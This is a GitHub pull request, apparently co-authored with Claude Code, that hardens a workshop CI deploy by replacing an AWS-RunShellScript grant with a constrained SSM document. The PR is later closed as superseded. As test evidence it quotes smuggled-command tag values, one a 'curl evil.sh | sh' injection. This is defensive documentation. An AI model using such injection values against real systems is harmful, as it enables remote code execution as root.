Skip to content

fix(security): deploy workshop via constrained SSM document - #85

Closed
maruthiprithivi wants to merge 2 commits into
mainfrom
maruthiprithivi/sec_ops_fixes
Closed

fix(security): deploy workshop via constrained SSM document#85
maruthiprithivi wants to merge 2 commits into
mainfrom
maruthiprithivi/sec_ops_fixes

Conversation

@maruthiprithivi

Copy link
Copy Markdown
Collaborator

The problem

This repository is public, and the workshop deploy role could send ssm:SendCommand with AWS-RunShellScript to both DemoHouse demo instances:

{
  "Sid": "DeployWorkshop",
  "Action": "ssm:SendCommand",
  "Resource": [
    "arn:aws:ssm:ap-southeast-1::document/AWS-RunShellScript",
    "arn:aws:ec2:...:instance/i-0070f36085c0add58",
    "arn:aws:ec2:...:instance/i-07305a6793f775a8a"
  ]
}

AWS-RunShellScript takes an arbitrary command list and runs it as root. So anyone able to push to build-workshop-v1 or dev-build-workshop-v1 had root on the live prod demo host.

The per-branch instance selection in this workflow is not a security control -- it is code in the same public repo an attacker would already be modifying. The trust policy is correctly scoped to two exact refs, so this is not open to the internet, but the blast radius of repo write access should not be root on prod.

The fix

Send the purpose-built demohouse-workshop-deploy document instead. It hardcodes the deploy steps and constrains every parameter with an allowedPattern that SSM validates server-side, before dispatch.

Tested both directions:

Tag="<sha>; id > /tmp/pwned"  ->  InvalidParameters (rejected by the SendCommand API)
Tag="<valid 40-hex sha>"      ->  "Workshop is healthy at e44486f4... (sha256:0cb99fa2...)"

The role's IAM policy no longer permits AWS-RunShellScript. Document and role are defined in infra/terraform/workshop-ci.tf in the DemoHouse repo, alongside the rationale.

Merge ordering

The IAM change is already applied. This workflow change must land on both build-workshop-v1 and dev-build-workshop-v1 before the next workshop deploy, or CI fails with AccessDenied. That is fail-safe -- a blocked deploy, not a security regression -- but it will block.

Companion PR: https://github.com/ClickHouse/DemoHouse/pull/19

Residual, accepted

The role can still target either instance, so the dev workshop branch could deploy a dev-aliased image onto the prod host. That is an integrity concern, not remote code execution. Splitting it properly needs two roles and a per-branch WORKSHOP_AWS_ROLE_ARN.

🤖 Generated with Claude Code

This repository is PUBLIC, and the workshop deploy role could send
ssm:SendCommand with AWS-RunShellScript to both DemoHouse demo instances.
That is arbitrary command execution as root on the live prod demo host,
available to anyone able to push to build-workshop-v1 or
dev-build-workshop-v1. The per-branch instance selection in this workflow is
not a security control -- it is code in the same public repo an attacker
would already be modifying.

Send the purpose-built demohouse-workshop-deploy document instead. It
hardcodes the deploy steps and constrains every parameter with an
allowedPattern that SSM validates server-side, so a tag of
"abc; curl evil.sh | sh" is rejected by the SendCommand API rather than by
anything on the host. The role's IAM policy no longer permits
AWS-RunShellScript.

The document and role are now defined in the DemoHouse repo at
infra/terraform/workshop-ci.tf, which is also where the rationale lives.

Note: the IAM change is already applied, so this workflow change must land on
both workshop branches before the next workshop deploy or CI will fail with
AccessDenied.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@CLAassistant

Copy link
Copy Markdown

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.


Maruthi Prithivi seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.
You have signed the CLA already but the status is still pending? Let us recheck it.

The Build Workshop web app (workshop.demohouse.cloud and
dev-workshop.demohouse.cloud) is moving to the private
ClickHouse/WorkshopHouse repository and a new subdomain, so the app side
stops being hosted out of a public repo.

Removes workshops/build_workshop/playbook/ -- the Next.js/Fumadocs site.
It already exists in WorkshopHouse as site/, with content restructured to
site/content/docs/build-workshop/{learner,instructor}/.

Deliberately keeps everything else under workshops/build_workshop/. The
learner docs tell attendees to `git clone` THIS repository and work in
workshops/build_workshop/app -- module 00 step 2, plus 13 further references
across the learner track. WorkshopHouse is private, so archiving app/ as well
would break every attendee at setup. app/, docs/, infra/ and scripts/ stay
public for exactly that reason.

Also keeps five files that exist only here and were never mirrored into
WorkshopHouse: app/db/postgres/init/{000_postgis,001_schema,002_sample_data,
050_realtime_trips}.sql and app/librechat/docker-compose.librechat.yml.

The Workshop and Notify DemoHouse workflows are already disabled in this
repository. Diagram output now targets site/public/ in WorkshopHouse.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@maruthiprithivi

Copy link
Copy Markdown
Collaborator Author

Closing: superseded by the workshop migration. The workshop web app has moved to the private ClickHouse/WorkshopHouse repo and is being served from labs.demohouse.cloud, so this pipeline is disabled and the AWS-side plumbing it hardened (the demohouse-workshop-deploy SSM document and the demohouse-workshop-github-actions role) is being torn down rather than maintained.

The underlying finding still stands and is worth carrying into WorkshopHouse's deploy path: never grant a CI role ssm:SendCommand on AWS-RunShellScript. Use a purpose-built SSM document with allowedPattern-constrained parameters, which SSM validates server-side. Rationale is recorded in ClickHouse/DemoHouse#19.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants